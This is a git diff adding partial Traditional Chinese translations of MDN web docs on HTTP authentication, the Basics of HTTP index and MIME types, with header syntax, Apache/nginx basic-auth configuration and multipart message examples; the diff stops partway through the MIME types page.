diff options
Diffstat (limited to 'files/zh-tw/web/http')
51 files changed, 5307 insertions, 0 deletions
diff --git a/files/zh-tw/web/http/authentication/index.html b/files/zh-tw/web/http/authentication/index.html new file mode 100644 index 0000000000..2e881ea2fd --- /dev/null +++ b/files/zh-tw/web/http/authentication/index.html @@ -0,0 +1,123 @@ +--- +title: HTTP authentication +slug: Web/HTTP/Authentication +translation_of: Web/HTTP/Authentication +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">HTTP 提供一個用來存取控制及身分驗證框架. 最普遍的 HTTP 身分驗證是基於"Basic" schema. 本頁將介紹HTTP framework for authentication 以及如何限制存取你的伺服器 and HTTP "Basic" schema.</p> + +<h2 id="The_general_HTTP_authentication_framework">The general HTTP authentication framework</h2> + +<p>{{RFC("7235")}} 定義了HTTP 身分驗證框架，它可以被使用於server to {{glossary("challenge")}} a client request 以及 client 提供身分驗證資訊. The challenge and response flow works like this: The server responds to a client with a {{HTTPStatus("401")}} (Unauthorized) response status and provides information on how to authorize with a {{HTTPHeader("WWW-Authenticate")}} response header containing at least one challenge. A client that wants to authenticate itself with a server can then do so by including an {{HTTPHeader("Authorization")}} request header field with the credentials. Usually a client will present a password prompt to the user and will then issue the request including the correct <code>Authorization</code> header.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p> + +<p>In the case of a "Basic" authentication like shown in the figure, the exchange <strong>must</strong> happen over an HTTPS (TLS) connection to be secure.</p> + +<h3 id="Proxy_authentication">Proxy authentication</h3> + +<p>The same challenge and response mechanism can be used for <em>proxy authentication</em>. In this case, it is an intermediate proxy that requires authentication. As both resource authentication and proxy authentication can coexist, a different set of headers and status codes is needed. In the case of proxies, the challenging status code is {{HTTPStatus("407")}} (Proxy Authentication Required), the {{HTTPHeader("Proxy-Authenticate")}} response header contains at least one challenge applicable to the proxy, and the {{HTTPHeader("Proxy-Authorization")}} request header is used for providing the credentials to the proxy server.</p> + +<h3 id="Access_forbidden">Access forbidden</h3> + +<p>If a (proxy) server receives valid credentials that are not adequate to gain access for a given resource, the server should respond with the {{HTTPStatus("403")}} <code>Forbidden</code> status code. Unlike {{HTTPStatus("401")}} <code>Unauthorized</code> or {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, authentication is impossible for this user.</p> + +<p> </p> + +<h3 id="Authentication_of_cross-origin_images">Authentication of cross-origin images</h3> + +<p>A potential security hole that has recently been fixed by browsers is authentication of cross-site images. From <a href="/en-US/docs/Mozilla/Firefox/Releases/59">Firefox 59</a> onwards, image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page.</p> + +<h3 id="Character_encoding_of_HTTP_authentication">Character encoding of HTTP authentication</h3> + +<p>Browsers use <code>utf-8</code> encoding for usernames and passwords. Firefox used to use <code>ISO-8859-1</code>, but changed over to <code>utf-8</code> for parity with other browsers, and to avoid potential problems as described in {{bug(1419658)}}.</p> + +<p> </p> + +<h3 id="WWW-Authenticate_and_Proxy-Authenticate_headers"><code>WWW-Authenticate</code> and <code>Proxy-Authenticate</code> headers</h3> + +<p>The {{HTTPHeader("WWW-Authenticate")}} and {{HTTPHeader("Proxy-Authenticate")}} response headers define the authentication method that should be used to gain access to a resource. They need to specify which authentication scheme is used, so that the client that wishes to authorize knows how to provide the credentials. The syntax for these headers is the following:</p> + +<pre class="syntaxbox">WWW-Authenticate: <type> realm=<realm> +Proxy-Authenticate: <type> realm=<realm> +</pre> + +<p>Here, <code><type></code> is the authentication scheme ("Basic" is the most common scheme and <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">introduced below</a>). The <em>realm</em> is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to.</p> + +<h3 id="Authorization_and_Proxy-Authorization_headers"><code>Authorization</code> and <code>Proxy-Authorization</code> headers</h3> + +<p>The {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the type is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used.</p> + +<pre class="syntaxbox">Authorization: <type> <credentials> +Proxy-Authorization: <type> <credentials> +</pre> + +<h3 id="Authentication_schemes">Authentication schemes</h3> + +<p>The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software.</p> + +<p>The most common authentication scheme is the "Basic" authentication scheme which is introduced in more details below. IANA maintains a <a class="external external-icon" href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">list of authentication schemes</a>, but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include:</p> + +<ul> + <li><strong>Basic</strong> (see {{rfc(7617)}}, base64-encoded credentials. See below for more information.),</li> + <li><strong>Bearer</strong> (see {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources),</li> + <li><strong>Digest</strong> (see {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support),</li> + <li><strong>HOBA</strong> (see {{rfc(7486)}} (draft), <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based),</li> + <li><strong>Mutual</strong> (see <a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>),</li> + <li> + <p><strong>AWS4-HMAC-SHA256</strong> (see <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a>).</p> + </li> +</ul> + +<h2 id="Basic_authentication_scheme">Basic authentication scheme</h2> + +<p>The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64.</p> + +<h3 id="Security_of_basic_authentication">Security of basic authentication</h3> + +<p>As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme is not secure. HTTPS / TLS should be used in conjunction with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information.</p> + +<h3 id="Restricting_access_with_Apache_and_basic_authentication">Restricting access with Apache and basic authentication</h3> + +<p>To password-protect a directory on an Apache server, you will need a <code>.htaccess</code> and a <code>.htpasswd</code> file.</p> + +<p>The <code>.htaccess</code> file typically looks like this:</p> + +<pre>AuthType Basic +AuthName "Access to the staging site" +AuthUserFile /path/to/.htpasswd +Require valid-user</pre> + +<p>The <code>.htaccess</code> file references a <code>.htpasswd</code> file in which each line contains of a username and a password separated by a colon (":"). You can not see the actual passwords as they are <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">encrypted</a> (md5 in this case). Note that you can name your <code>.htpasswd</code> file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to <code>.ht*</code> files).</p> + +<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. +user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ +</pre> + +<h3 id="Restricting_access_with_nginx_and_basic_authentication">Restricting access with nginx and basic authentication</h3> + +<p>For nginx, you will need to specify a location that you are going to protect and the <code>auth_basic</code> directive that provides the name to the password-protected area. The <code>auth_basic_user_file</code> directive then points to a .htpasswd file containing the encrypted user credentials, just like in the Apache example above.</p> + +<pre>location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; +}</pre> + +<h3 id="Access_using_credentials_in_the_URL">Access using credentials in the URL</h3> + +<p>Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this:</p> + +<pre class="example-bad">https://username:password@www.example.com/</pre> + +<p><strong>The use of these URLs is deprecated</strong>. In Chrome, the <code>username:password@</code> part in URLs is even<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7"> stripped out</a> for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/zh-tw/web/http/basics_of_http/index.html b/files/zh-tw/web/http/basics_of_http/index.html new file mode 100644 index 0000000000..b6aec5125a --- /dev/null +++ b/files/zh-tw/web/http/basics_of_http/index.html @@ -0,0 +1,51 @@ +--- +title: Basics of HTTP +slug: Web/HTTP/Basics_of_HTTP +tags: + - Guide + - HTTP + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/HTTP/Basics_of_HTTP +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP is a pretty extensible protocol. It relies on a few basic concepts like the notion of resources and URIs, a simple structure of messages, and a client-server structure for the communication flow. On top of these basic concepts, numerous extensions have appeared over the years, adding new functionality and new semantics by creating new HTTP methods or headers.</p> + +<h2 id="Articles">Articles</h2> + +<dl> + <dt><a href="/en-US/docs/Web/HTTP/Overview">Overview of HTTP</a></dt> + <dd>Describes what HTTP is and its role in the Web architecture, its position in the protocol stack.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Evolution of HTTP</a></dt> + <dd>HTTP was created in the early 1990s and has been extended several times. This article goes through its history and describes HTTP/0.9, HTTP/1.0, HTTP/1.1, and the modern HTTP/2 as well as minor novelties introduced over the years.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Negotiating_an_HTTP_version">Negotiating an HTTP version</a></dt> + <dd>Explains how a client and a server can negotiate a specific HTTP version and eventually upgrade the protocol version used.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Resources_and_URIs">Resources and URIs</a></dt> + <dd>A brief introduction of the notion of resources, identifiers, and locations on the Web.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a></dt> + <dd>Describes how Web resources are referenced and how to locate them.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a></dt> + <dd>A specific kind of URIs that directly embeds the resource it represents. Data URIs are very convenient, but have some caveats.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs">Resource URLs</a> {{Non-standard_Inline}}</dt> + <dd>Resource URLs, URLs prefixed with the <code>resource:</code> scheme, are used by Firefox and Firefox browser extensions to load resources internally, but some of the information is available to sites the browser connects to as well.</dd> + <dt>Separating identity and location of a resource: the Alt-Svc HTTP header</dt> + <dd>Most of the time identity and location of a Web resource are shared, this can be changed with the {{HTTPHeader("Alt-Svc")}} header.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a></dt> + <dd>Since HTTP/1.0, different types of content can be transmitted. This article explains how this is done using the {{HTTPHeader("Content-Type")}} header and the MIME standard.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Choosing between www and non-www URLs</a></dt> + <dd>Advice on using a www-prefixed domain or not, this article explains the consequences of the choice as well as how to make it.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Flow_of_an_HTTP_session">Flow of an HTTP session</a></dt> + <dd>This fundamental article describes a typical HTTP session: what happens under the hood when you click on a link in your browser…</dd> + <dt><a href="/en-US/docs/Web/HTTP/Messages">HTTP Messages</a></dt> + <dd>HTTP Messages transmitted during requests or responses have a very clear structure; this introductory article describes this structure, its purpose and its possibilities.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Frame and message structure in HTTP_2">Frame and message structure in HTTP/2</a></dt> + <dd>HTTP/2 encapsulates and represents HTTP/1.x messages in a binary frame. This article explains the frame structure, its purpose and the way it is encoded.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></dt> + <dd>HTTP/1.1 was the first version of HTTP to support persistent connection and pipelining. This article explains these two concepts.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_2">Connection management in HTTP/2</a></dt> + <dd>HTTP/2 completely revisited how connections are created and maintained: this article explains how HTTP frames allow multiplexing and solve the 'head-of-line' blocking problem of former HTTP versions.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Content_negotiation">Content Negotiation</a></dt> + <dd>HTTP introduces a set of headers, starting with <code>Accept-</code> as a way for a browser to announce the format, language, or encoding it prefers. This article explains how this advertisement happens, how the server is expected to react and how it will choose the most adequate response.</dd> +</dl> diff --git a/files/zh-tw/web/http/basics_of_http/mime_types/index.html b/files/zh-tw/web/http/basics_of_http/mime_types/index.html new file mode 100644 index 0000000000..12fd7d7494 --- /dev/null +++ b/files/zh-tw/web/http/basics_of_http/mime_types/index.html @@ -0,0 +1,324 @@ +--- +title: MIME 類別 (IANA 媒體類別) +slug: Web/HTTP/Basics_of_HTTP/MIME_types +tags: + - HTTP + - MIME類別 + - 內容類別 +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary"><strong>媒體類別(多用途網際網路郵件擴展</strong>或是<strong>MIME類別</strong>)是一種表示文件、檔案或各式位元組的標準。它被定義並規範在IETF的</span> {{RFC(6838)}}<strong>。</strong></p> + +<p><a href="https://www.iana.org/">國際網路號碼分配局(IANA)</a> 負責所有官方的MIME類別，你可以從他們的 <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">Media Types</a> 頁面找到最新且完整的類別清單。</p> + +<div class="warning"> +<p><strong>重要:</strong> 瀏覽器會採用MIME類別， <em>而非副檔名</em> ，來判定如何對URL進行處理。所以伺服器要在回應的{{HTTPHeader("Content-Type")}}裡放入正確的MIME類別，否則瀏覽器很有可能轉譯錯誤或是無法正常運作，造成下載的檔案無法被正常處理。</p> +</div> + +<h2 id="MIME類別的結構">MIME類別的結構</h2> + +<p>最簡單的MIME類別由<em>主類別(type)</em>和<em>子類別(subtype)</em>組成。兩個都是字串，並由一個斜線(/)相接，且不能包含任何空格：</p> + +<pre class="syntaxbox notranslate"><var>type</var>/<var>subtype</var></pre> + +<p><em><strong>主類別(<var>type)</var></strong></em>代表廣泛性的分類，譬如<code>video </code>或 <code>text</code>。<strong><em>子類別</em></strong>(<strong><var>subtype)</var></strong> 則定義該資料精確的MIME類別。例如MIME 類別為<code>text</code>, 子類可能會是 <code>plain</code> (純文字), <code>html</code> ({{Glossary("HTML")}} 源碼), 或<code>calendar</code> (iCalendar/<code>.ics</code>) 檔案。</p> + +<p>每一種主類別都可能有一組自己的子類別，MIME類別永遠都有主類別和子類別，從來不會只有單一個。</p> + +<p>後面加上的參數可以提供更多細節：</p> + +<pre class="syntaxbox notranslate"><var>type</var>/<var>subtype</var>;<var>parameter</var>=<var>value</var></pre> + +<p>例如一個MIME類別的主類是 <code>text</code>, 選擇性的 <code>charset</code> 參數可以用來指明資料種所使用的字元集。如果沒有指明<code>charset</code> ，預設使用 {{Glossary("ASCII")}} (<code>US-ASCII</code>) ，除非被{{Glossary("user agent", "user agent's")}} 的設定覆蓋過去。 要指明一個UTF-8 的文字檔，可以使用 <code>text/plain;charset=UTF-8</code> 的MIME類別。</p> + +<p>MIME 類別對大小寫不敏感，但通常都會使用小寫。</p> + +<h3 id="Types">Types</h3> + +<p>There are two classes of type: <strong>discrete</strong> and <strong>multipart</strong>. Discrete types are types which represent a single file or medium, such as a single text or music file, or a single video. A multipart type is one which represents a document that's comprised of multiple component parts, each of which may have its own individual MIME type; or, a multipart type may encapsulate multiple files being sent together in one transaction. For example, multipart MIME types are used when attaching multiple files to an email.</p> + +<h4 id="Discrete_types">Discrete types</h4> + +<p>The discrete types currently registered with the IANA are:</p> + +<dl> + <dt><code>application</code><a href="https://www.iana.org/assignments/media-types/media-types.xhtml#application" style="float: right;">List at IANA</a></dt> + <dd>Any kind of binary data that doesn't fall explicitly into one of the other types; either data that will be executed or interpreted in some way or binary data that requires a specific application or category of application to use. Generic binary data (or binary data whose true type is unknown) is <code>application/octet-stream</code>. Other common examples include <code>application/pdf</code>, <code>application/pkcs8</code>, and <code>application/zip</code>.</dd> + <dt><code>audio</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#audio" style="float: right;">List at IANA</a></dt> + <dd>Audio or music data. Examples include <code>audio/mpeg</code>, <code>audio/vorbis</code>.</dd> + <dt><code>example</code></dt> + <dd>Reserved for use as a placeholder in examples showing how to use MIME types. These should never be used outside of sample code listings and documentation. <code>example</code> can also be used as a subtype; for instance, in an example related to working with audio on the web, the MIME type <code>audio/example</code> can be used to indicate that the type is a placeholder and should be replaced with an appropriate one when using the code in the real world.</dd> + <dt><code>font</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#font" style="float: right;">List at IANA</a></dt> + <dd>Font/typeface data. Common examples include <code>font/woff</code>, <code>font/ttf</code>, and <code>font/otf</code>.</dd> + <dt><code>image</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#image" style="float: right;">List at IANA</a></dt> + <dd>Image or graphical data including both bitmap and vector still images as well as animated versions of still image formats such as animated {{Glossary("GIF")}} or APNG. Common examples are <code>image/jpeg</code>, <code>image/png</code>, and <code>image/svg+xml</code>.</dd> + <dt><code>model</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#model" style="float: right;">List at IANA</a></dt> + <dd>Model data for a 3D object or scene. Examples include <code>model/3mf</code> and <code>model/vml</code>.</dd> + <dt><code>text</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#text" style="float: right;">List at IANA</a></dt> + <dd>Text-only data including any human-readable content, source code, or textual data such as comma-separated value (CSV) formatted data. Examples include <code>text/plain</code>, <code>text/csv</code>, and <code>text/html</code>.</dd> + <dt><code>video</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#video" style="float: right;">List at IANA</a></dt> + <dd>Video data or files, such as MP4 movies (<code>video/mp4</code>).</dd> +</dl> + +<p>For text documents without a specific subtype, <code>text/plain</code> should be used. Similarly, for binary documents without a specific or known subtype, <code>application/octet-stream</code> should be used.</p> + +<h4 id="Multipart_types">Multipart types</h4> + +<p id="sect1"><strong>Multipart</strong> types indicate a category of document broken into pieces, often with different MIME types; they can also be used — especially in email scenarios — to represent multiple, separate files which are all part of the same transaction. They represent a <strong>composite document</strong>.</p> + +<p>With the exception of <code>multipart/form-data</code>, used in the {{HTTPMethod("POST")}} method of <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a>, and <code>multipart/byteranges</code>, used with {{HTTPStatus("206")}} <code>Partial Content</code> to send part of a document, HTTP doesn't handle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "Save As" window if it doesn't know how to display the document).</p> + +<p>There are two multipart types:</p> + +<dl> + <dt><code>message</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#message" style="float: right;">List at IANA</a></dt> + <dd>A message that encapsulates other messages. This can be used, for instance, to represent an email that includes a forwarded message as part of its data, or to allow sending very large messages in chunks as if it were multiple messages. Examples include <code>message/rfc822</code> (for forwarded or replied-to message quoting) and <code>message/partial</code> to allow breaking a large message into smaller ones automatically to be reassembled by the recipient.</dd> + <dt><code>multipart</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#multipart" style="float: right;">List at IANA</a></dt> + <dd>Data that is comprised of multiple components which may individually have different MIME types. Examples include <code>multipart/form-data</code> (for data produced using the {{domxref("FormData")}} API) and <code>multipart/byteranges</code> (defined in {{RFC(7233, "5.4.1")}} and used with {{Glossary("HTTP")}}'s {{HTTPStatus(206)}} "Partial Content" response returned when the fetched data is only part of the content, such as is delivered using the {{HTTPHeader("Range")}} header).</dd> +</dl> + +<h2 id="重要的MIME類別">重要的MIME類別</h2> + +<h3 id="applicationoctet-stream">application/octet-stream</h3> + +<p>這是二進制檔案的預設類別，代表未知的二進制檔案，通常瀏覽器都不執行或是會詢問是否要執行。They treat it as if the {{HTTPHeader("Content-Disposition")}} header was set to <code>attachment</code>, and propose a "Save As" dialog.</p> + +<h3 id="textplain">text/plain</h3> + +<p>文字檔案的預設類別。就算是未知的文字檔案，瀏覽器都先假設他們是可以被呈現於畫面的。</p> + +<div class="blockIndicator note"> +<p>注意 <code>text/plain</code> 不代表"任何一種文字檔案"。例如從用於表示CSS檔案的{{HTMLElement("link")}}元素載了一個 <code>text/plain</code> 檔案，瀏覽器不會識別該檔案為一個有效的CSS檔案。CSS的MIME類別必須要使用 <code>text/css</code>。</p> +</div> + +<h3 id="textcss">text/css</h3> + +<p>用來套用在網頁的 CSS 檔案<strong>一定要</strong>配合 <code>text/css</code> 做傳輸。如果伺服器沒有將副檔名 <code>.css</code> 視為 CSS 檔案，伺服器有可能會使用 <code>text/plain</code> 或是 <code>application/octet-stream</code> 的 MIME 型態來傳輸檔案，而導致這些檔案不被大多數的瀏覽器當成 CSS 而被忽略。</p> + +<h3 id="texthtml">text/html</h3> + +<p>All HTML content should be served with this type. Alternative MIME types for XHTML (like <code>application/xhtml+xml</code>) are mostly useless nowadays.</p> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> Use <code>application/xml</code> or <code>application/xhtml+xml</code> if you want XML’s strict parsing rules, <code><a href="/en-US/docs/Web/API/CDATASection"><![CDATA[…]]></a></code> sections, or elements that aren't from HTML/SVG/MathML namespaces.</p> +</div> + +<h3 id="textjavascript"><span id="JavaScript_types">text/javascript</span></h3> + +<p>Per the HTML specification, JavaScript files should always be served using the MIME type <code>text/javascript</code>. No other values are considered valid, and using any of those may result in scripts that do not load or run.</p> + +<p>For historical reasons, the <a href="https://mimesniff.spec.whatwg.org/">MIME Sniffing Standard</a> (the definition of how browsers should interpret media types and figure out what to do with content that doesn't have a valid one) allows JavaScript to be served using any MIME type that essentially matches any of the following:</p> + +<ul> + <li><code>application/javascript</code></li> + <li><code>application/ecmascript</code></li> + <li><code>application/x-ecmascript</code> {{Non-standard_Inline}}</li> + <li><code>application/x-javascript</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript</code></li> + <li><code>text/ecmascript</code></li> + <li><code>text/javascript1.0</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript1.1</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript1.2</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript1.3</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript1.4</code> {{Non-standard_Inline}}</li> + <li><code>text/javascript1.5</code> {{Non-standard_Inline}}</li> + <li><code>text/jscript</code> {{Non-standard_Inline}}</li> + <li><code>text/livescript</code> {{Non-standard_Inline}}</li> + <li><code>text/x-ecmascript</code> {{Non-standard_Inline}}</li> + <li><code>text/x-javascript</code> {{Non-standard_Inline}}</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> Even though any given {{Glossary("user agent")}} may support any or all of these, you should only use <code>text/javascript</code>. It's the only MIME type guaranteed to work now and into the future.</p> +</div> + +<p>Some content you find may have a <code>charset</code> parameter at the end of the <code>text/javascript</code> media type, to specify the character set used to represent the code's content. This is not valid, and in most cases will result in a script not being loaded.</p> + +<h3 id="Image_types">Image types</h3> + +<p>Files whose MIME type is <code>image</code> contain image data. The subtype specifies which specific image file format the data represents. Only a few image types are used commonly enough to be considered safe for use on web pages:</p> + +<p>{{page("en-US/docs/Web/Media/Formats/Image_types", "table-of-image-file-types")}}</p> + +<h3 id="Audio_and_video_types">Audio and video types</h3> + +<p>As is the case for images, HTML doesn't mandate that web browsers support any specific file and codec types for the {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements, so it's important to consider your target audience and the range of browsers (and versions of those browsers) they may be using when choosing the file type and codecs to use for media.</p> + +<p>Our <a href="/en-US/docs/Web/Media/Formats/Containers">media container formats guide</a> provides a list of the file types that are commonly supported by web browsers, including information about what their special use cases may be, any drawbacks they have, and compatibility information, along with other details.</p> + +<p>The <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">audio codec</a> and <a href="/en-US/docs/Web/Media/Formats/Video_codecs">video codec</a> guides list the various codecs that web browsers often support, providing compatibility details along with technical information such as how many audio channels they support, what sort of compression is used, and what bit rates and so forth they're useful at. The <a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">codecs used by WebRTC</a> guide expands upon this by specifically covering the codecs supported by the major web browsers, so you can choose the codecs that best cover the range of browsers you wish to support.</p> + +<p>As for MIME types of audio or video files, they typically specify the container format (file type). The optional <a href="/en-US/docs/Web/Media/Formats/codecs_parameter">codecs parameter</a> can be added to the MIME type to further specify which codecs to use and what options were used to encode the media, such as codec profile, level, or other such information.</p> + +<p>The most commonly used MIME types used for web content are listed below. This isn't a complete list of all the types that may be available, however. See the <a href="/en-US/docs/Web/Media/Formats/Containers">media container formats</a> guide for that.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">MIME type</th> + <th scope="col">Audio or video type</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>audio/wave</code><br> + <code>audio/wav</code><br> + <code>audio/x-wav</code><br> + <code>audio/x-pn-wav</code></td> + <td>An audio file in the WAVE container format. The PCM audio codec (WAVE codec "1") is often supported, but other codecs have limited support (if any).</td> + </tr> + <tr> + <td><code>audio/webm</code></td> + <td>An audio file in the WebM container format. Vorbis and Opus are the codecs officially supported by the WebM specification.</td> + </tr> + <tr> + <td><code>video/webm</code></td> + <td>A video file, possibly with audio, in the WebM container format. VP8 and VP9 are the most common video codecs; Vorbis and Opus the most common audio codecs.</td> + </tr> + <tr> + <td><code>audio/ogg</code></td> + <td>An audio file in the Ogg container format. Vorbis is the most common audio codec used in such a container; however, Opus is now supported by Ogg as well.</td> + </tr> + <tr> + <td><code>video/ogg</code></td> + <td>A video file, possibly with audio, in the Ogg container format. Theora is the usual video codec used within it; Vorbis is the usual audio codec, although Opus is becoming more common.</td> + </tr> + <tr> + <td><code>application/ogg</code></td> + <td>An audio or video file using the Ogg container format. Theora is the usual video codec used within it; Vorbis is the usual audio codec.</td> + </tr> + </tbody> +</table> + +<h3 id="multipartform-data">multipart/form-data</h3> + +<p>The <code>multipart/form-data</code> type can be used when sending the values of a completed <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Form</a> from browser to server.</p> + +<p>As a multipart document format, it consists of different parts, delimited by a boundary (a string starting with a double dash <code>--</code>). Each part is its own entity with its own HTTP headers, {{HTTPHeader("Content-Disposition")}}, and {{HTTPHeader("Content-Type")}} for file uploading fields.</p> + +<pre class="syntaxbox notranslate">Content-Type: multipart/form-data; boundary=aBoundaryString +(other headers associated with the multipart document as a whole) + +--aBoundaryString +Content-Disposition: form-data; name="myFile"; filename="img.jpg" +Content-Type: image/jpeg + +(data) +--aBoundaryString +Content-Disposition: form-data; name="myField" + +(data) +--aBoundaryString +(more subparts) +--aBoundaryString-- + +</pre> + +<p>The following <code><form></code>:</p> + +<pre class="brush: html notranslate"><form action="http://localhost:8000/" method="post" enctype="multipart/form-data"> + <label>Name: <input name="myTextField" value="Test"></label> + <label><input type="checkbox" name="myCheckBox"> Check</label> + <label>Upload file: <input type="file" name="myFile" value="test.txt"></label> + <button>Send the file</button> +</form></pre> + +<p>will send this message:</p> + +<pre class="notranslate">POST / HTTP/1.1 +Host: localhost:8000 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Connection: keep-alive +Upgrade-Insecure-Requests: 1 +Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498 +Content-Length: 465 + +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myTextField" + +Test +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myCheckBox" + +on +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myFile"; filename="test.txt" +Content-Type: text/plain + +Simple file. +-----------------------------8721656041911415653955004498-- + +</pre> + +<h3 id="multipartbyteranges">multipart/byteranges</h3> + +<p>The <code>multipart/byteranges</code> MIME type is used to send partial responses to the browser.</p> + +<p>When the {{HTTPStatus("206")}}<code> Partial Content</code> status code is sent, this MIME type indicates that the document is composed of several parts, one for each of the requested ranges. Like other multipart types, the {{HTTPHeader("Content-Type")}} uses a <code>boundary</code> to separate the pieces. Each piece has a {{HTTPHeader("Content-Type")}} header with its actual type and a {{HTTPHeader("Content-Range")}} of the range it represents.</p> + +<pre class="notranslate"><code>HTTP/1.1 206 Partial Content +Accept-Ranges: bytes +Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 +Content-Length: 385 + +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 100-200/1270 + +eta http-equiv="Content-type" content="text/html; charset=utf-8" /> + <meta name="vieport" content +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 300-400/1270 + +-color: #f0f0f2; + margin: 0; + padding: 0; + font-family: "Open Sans", "Helvetica +--3d6b6a416f9b5--</code></pre> + +<h2 id="Importance_of_setting_the_correct_MIME_type">Importance of setting the correct MIME type</h2> + +<p>Most web servers send unrecognized resources as the <code>application/octet-stream</code> MIME type. For security reasons, most browsers do not allow setting a custom default action for such resources, forcing the user to save it to disk to use it.</p> + +<p>Some common incorrect server configurations:</p> + +<ul> + <li> + <p>RAR-compressed files. In this case, the ideal would be the true type of the original files; this is often impossible as .RAR files can hold several resources of different types. In this case, configure the server to send <code>application/x-rar-compressed</code>.</p> + </li> + <li> + <p>Audio and video. Only resources 